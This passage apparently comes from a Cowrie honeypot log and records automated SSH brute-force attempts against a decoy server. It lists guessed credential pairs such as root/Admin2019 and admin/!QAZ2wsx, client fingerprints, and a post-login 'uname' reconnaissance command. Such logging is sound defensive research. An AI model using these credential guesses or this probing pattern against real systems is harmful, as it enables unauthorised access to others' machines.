","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:21.157085Z","src_ip":"91.92.42.133","session":"6e2022c9e2b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2019","message":"login attempt [root/Admin2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:21.246392Z","src_ip":"27.71.230.31","session":"bba959511b95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:22.573935Z","src_ip":"27.71.230.31","session":"bba959511b95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"usuario","password":"usuario","message":"login attempt [usuario/usuario] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:24.437150Z","src_ip":"91.92.42.133","session":"6e2022c9e2b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:25.901037Z","src_ip":"91.92.42.133","session":"6e2022c9e2b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":37588,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d9d1b438fa1","protocol":"ssh","message":"New connection: 91.92.42.133:37588 (159.203.135.109:22) [session: 0d9d1b438fa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:28.780787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:29.198562Z","src_ip":"91.92.42.133","session":"0d9d1b438fa1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:29.201963Z","src_ip":"91.92.42.133","session":"0d9d1b438fa1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"1","message":"login attempt [steam/1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:30.566053Z","src_ip":"91.92.42.133","session":"0d9d1b438fa1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:31.003439Z","src_ip":"91.92.42.133","session":"0d9d1b438fa1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:31.006175Z","src_ip":"91.92.42.133","session":"0d9d1b438fa1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:31.171511Z","src_ip":"91.92.42.133","session":"0d9d1b438fa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:31.176134Z","src_ip":"91.92.42.133","session":"0d9d1b438fa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.18963313102722,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:33.231834Z","src_ip":"172.81.62.90","session":"721cb206e95a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":37024,"dst_ip":"159.203.135.109","dst_port":22,"session":"81f98df48e69","protocol":"ssh","message":"New connection: 91.92.42.133:37024 (159.203.135.109:22) [session: 81f98df48e69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:36.866952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:37.103625Z","src_ip":"91.92.42.133","session":"81f98df48e69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:37.106207Z","src_ip":"91.92.42.133","session":"81f98df48e69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345","message":"login attempt [user1/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:38.207462Z","src_ip":"91.92.42.133","session":"81f98df48e69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:39.348417Z","src_ip":"91.92.42.133","session":"81f98df48e69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":54052,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ab6e35b66c6","protocol":"ssh","message":"New connection: 91.92.42.133:54052 (159.203.135.109:22) [session: 5ab6e35b66c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:44.818516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:45.011511Z","src_ip":"91.92.42.133","session":"5ab6e35b66c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:45.014415Z","src_ip":"91.92.42.133","session":"5ab6e35b66c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"packer","password":"packer","message":"login attempt [packer/packer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:46.018692Z","src_ip":"91.92.42.133","session":"5ab6e35b66c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:47.253748Z","src_ip":"91.92.42.133","session":"5ab6e35b66c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":38642,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5c4b047da58","protocol":"ssh","message":"New connection: 103.153.68.219:38642 (159.203.135.109:22) [session: e5c4b047da58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:51.023365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:51.025948Z","src_ip":"103.153.68.219","session":"e5c4b047da58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:51.289501Z","src_ip":"103.153.68.219","session":"e5c4b047da58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":54098,"dst_ip":"159.203.135.109","dst_port":22,"session":"1dea40db5703","protocol":"ssh","message":"New connection: 91.92.42.133:54098 (159.203.135.109:22) [session: 1dea40db5703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:51.760345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:52.025563Z","src_ip":"91.92.42.133","session":"1dea40db5703","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:52.028957Z","src_ip":"91.92.42.133","session":"1dea40db5703","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lizaaa","message":"login attempt [root/lizaaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:52.078256Z","src_ip":"103.153.68.219","session":"e5c4b047da58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:53.342730Z","src_ip":"103.153.68.219","session":"e5c4b047da58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"1234567890","message":"login attempt [deployer/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:53.466923Z","src_ip":"91.92.42.133","session":"1dea40db5703","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:54.639796Z","src_ip":"91.92.42.133","session":"1dea40db5703","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":60786,"dst_ip":"159.203.135.109","dst_port":22,"session":"d61570508ef4","protocol":"ssh","message":"New connection: 91.92.42.133:60786 (159.203.135.109:22) [session: d61570508ef4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:59.220946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:59.548357Z","src_ip":"91.92.42.133","session":"d61570508ef4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:10:59.553115Z","src_ip":"91.92.42.133","session":"d61570508ef4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"!QAZ2wsx","message":"login attempt [admin/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:00.205382Z","src_ip":"91.92.42.133","session":"d61570508ef4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:01.413503Z","src_ip":"91.92.42.133","session":"d61570508ef4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":41396,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2bfb810ec61","protocol":"ssh","message":"New connection: 91.92.42.133:41396 (159.203.135.109:22) [session: c2bfb810ec61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:06.708764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:07.007129Z","src_ip":"91.92.42.133","session":"c2bfb810ec61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:07.051104Z","src_ip":"91.92.42.133","session":"c2bfb810ec61","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"tom","password":"tom","message":"login attempt [tom/tom] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:08.634133Z","src_ip":"91.92.42.133","session":"c2bfb810ec61","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:09.544769Z","src_ip":"91.92.42.133","session":"c2bfb810ec61","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:09.547749Z","src_ip":"91.92.42.133","session":"c2bfb810ec61","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.7","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:10.254323Z","src_ip":"91.92.42.133","session":"c2bfb810ec61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:10.257814Z","src_ip":"91.92.42.133","session":"c2bfb810ec61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":41454,"dst_ip":"159.203.135.109","dst_port":22,"session":"1fc30a8ef9c2","protocol":"ssh","message":"New connection: 91.92.42.133:41454 (159.203.135.109:22) [session: 1fc30a8ef9c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:11:14.496051Z"}
